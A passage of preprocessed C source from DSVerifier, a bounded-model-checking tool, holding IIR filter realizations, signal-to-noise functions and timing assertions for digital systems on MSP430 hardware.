) ? 1 : 0), __extension__ ({ if (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 373, __extension__ __PRETTY_FUNCTION__); }))
# 373 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPower(float s[], float n[], int blksz) {
int i;
double sv = 0, nv = 0, snr;
for (i = 0; i < blksz; i++) {
sv += s[i] * s[i];
nv += n[i] * n[i];
}
if (nv != 0.0f) {
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
sv >= nv
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"sv >= nv"
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 394, __extension__ __PRETTY_FUNCTION__); }))
# 394 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
snr = sv / nv;
return snr;
} else {
return 9999.9f;
}
}
float snrPoint(float s[], float n[], int blksz) {
int i;
double ratio = 0, power = 0;
for (i = 0; i < blksz; i++) {
if(n[i] == 0) continue;
ratio = s[i] / n[i];
if(ratio > 150.0f || ratio < -150.0f) continue;
power = ratio * ratio;
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
power >= 1.0f
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"power >= 1.0f"
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 412, __extension__ __PRETTY_FUNCTION__); }))
# 412 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
}
return 9999.9f;
}
unsigned long next = 1;
int rand(void)
{
next = next*1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
void srand(unsigned int seed)
{
next = seed;
}
float iirIIOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 450, __extension__ __PRETTY_FUNCTION__); }))
# 450 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return sum;
}
float iirIItOutTime(float w[], float x, float a[], float b[], int Na, int Nb) {
int timer1 = 0;
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 477, __extension__ __PRETTY_FUNCTION__); }))
# 477 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
double iirIItOutTime_double(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
((void) sizeof ((
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
(double)timer1*1 / 16000000 <= (double)1 / 100
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
) ; else __assert_fail (
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
"(double)timer1*CYCLE <= (double)DEADLINE"
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h", 504, __extension__ __PRETTY_FUNCTION__); }))
# 504 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/functions.h"
;
return yout;
}
void iirOutBoth(float yf[], float xf[], float af[], float bf[], float *sumf_ref,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t *sum_ref, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
fxp_t sum = 0;
float sumf = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
af_ptr = &af[1];
yf_ptr = &yf[Na - 1];
bf_ptr = &bf[0];
xf_ptr = &xf[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
sumf += *bf_ptr++ * *xf_ptr--;
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
sumf -= *af_ptr++ * *yf_ptr--;
}
*sum_ref = sum;
*sumf_ref = sumf;
}
fxp_t iirOutFixedL(fxp_t y[], fxp_t x[], fxp_t xin, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
return sum;
}
float iirOutFloatL(float y[], float x[], float xin, float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum += *b_ptr-- * *x_ptr++;
}
x[Nb - 1] = xin;
sum += *b_ptr-- * *x_ptr++;
for (j = 1; j < Na - 1; j++) {
sum -= *a_ptr-- * *y_ptr++;
y[j] = y[j+1];
}
if(Na>1) sum -= *a_ptr-- * *y_ptr++;
y[Na - 1] = sum;
return sum;
}
float iirOutBothL(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i, j;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[i] = xf[i+1];
sumf += *bf_ptr-- * *xf_ptr++;
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(*b_ptr--, *x_ptr++));
xf[Nb - 1] = xfin;
sumf += *bf_ptr-- * *xf_ptr++;
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[j] = y[j+1];
sumf -= *af_ptr-- * *yf_ptr++;
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(*a_ptr--, *y_ptr++));
y[Na - 1] = sum;
if(Na>1) sumf -= *af_ptr-- * *yf_ptr++;
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
float iirOutBothL2(float yf[], float xf[], float af[], float bf[], float xfin,
fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], fxp_t xin, int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[Na - 1];
y_ptr = &y[1];
b_ptr = &b[Nb - 1];
x_ptr = &x[0];
float *af_ptr, *yf_ptr, *bf_ptr, *xf_ptr;
float sumf = 0;
af_ptr = &af[Na - 1];
yf_ptr = &yf[1];
bf_ptr = &bf[Nb - 1];
xf_ptr = &xf[0];
int i=0, j=1;
for (i = 0; i < Nb - 1; i++) {
x[i] = x[i+1];
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[i] = xf[i+1];
sumf += bf[Nb - 1 - i] * xf[i];
}
x[Nb - 1] = xin;
sum = fxp_add(sum, fxp_mult(b[Nb - 1 - i], x[i]));
xf[Nb - 1] = xfin;
sumf += bf[Nb - 1 - i] * xf[i];
for (j = 1; j < Na - 1; j++) {
sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[j] = y[j+1];
sumf -= af[Na - j] * yf[j];
yf[j] = yf[j+1];
}
if(Na>1) sum = fxp_sub(sum, fxp_mult(a[Na - j], y[j]));
y[Na - 1] = sum;
if(Na>1) sumf -= af[Na - j] * yf[j];
yf[Na - 1] = sumf;
return fxp_to_float(sum) - sumf;
}
# 25 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
extern digital_system ds;
extern hardware hw;
extern int generic_timer;
fxp_t fxp_direct_form_1(fxp_t y[], fxp_t x[], fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *y_ptr, *b_ptr, *x_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *x_ptr--));
}
for (j = 1; j < Na; j++) {
sum = fxp_sub(sum, fxp_mult(*a_ptr++, *y_ptr--));
}
fxp_verify_overflow_node(sum, "An Overflow Occurred in the node a0");
sum = fxp_div(sum,a[0]);
return fxp_quantize(sum);
}
fxp_t fxp_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr, *w_ptr;
fxp_t sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] = fxp_sub(w[0], fxp_mult(*a_ptr++, *w_ptr++));
}
w[0] = fxp_add(w[0], x);
w[0] = fxp_div(w[0], a[0]);
fxp_verify_overflow_node(w[0], "An Overflow Occurred in the node b0");
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum = fxp_add(sum, fxp_mult(*b_ptr++, *w_ptr++));
}
return fxp_quantize(sum);
}
fxp_t fxp_transposed_direct_form_2(fxp_t w[], fxp_t x, fxp_t a[], fxp_t b[], int Na, int Nb) {
fxp_t *a_ptr, *b_ptr;
fxp_t yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = fxp_add(fxp_mult(*b_ptr++, x), w[0]);
yout = fxp_div(yout, a[0]);
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] = fxp_sub(w[j], fxp_mult(*a_ptr++, yout));
}
if (j < Nb - 1) {
w[j] = fxp_add(w[j], fxp_mult(*b_ptr++, x));
}
}
fxp_verify_overflow_node(w[j], "An Overflow Occurred in the node a0");
return fxp_quantize(yout);
}
double double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb) {
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
double double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
double double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
float float_direct_form_1(float y[], float x[], float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
float float_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
float float_transposed_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
double double_direct_form_1_MSP430(double y[], double x[], double a[], double b[], int Na, int Nb){
int timer1 = 0;
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
int i, j;
timer1 += 91;
for (i = 0; i < Nb; i++){
sum += *b_ptr++ * *x_ptr--;
timer1 += 47;
}
for (j = 1; j < Na; j++){
sum -= *a_ptr++ * *y_ptr--;
timer1 += 57;
}
timer1 += 3;
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 235, __extension__ __PRETTY_FUNCTION__); }))
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 262, __extension__ __PRETTY_FUNCTION__); }))
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_transposed_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 291, __extension__ __PRETTY_FUNCTION__); }))
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return yout;
}
double generic_timing_double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb){
generic_timer += ((6 * hw.assembly.push) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (12 * hw.assembly.std));
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
generic_timer += ((12 * hw.assembly.std) + (12 * hw.assembly.ldd) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (1 * hw.assembly.adiw));
int i, j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < Nb; i++){
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.sbc) + (10 * hw.assembly.std) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum += *b_ptr++ * *x_ptr--;
}
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++){
generic_timer += ((22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (8 * hw.assembly.std) + (1 * hw.assembly.sbci) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.sbc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum -= *a_ptr++ * *y_ptr--;
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (6 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
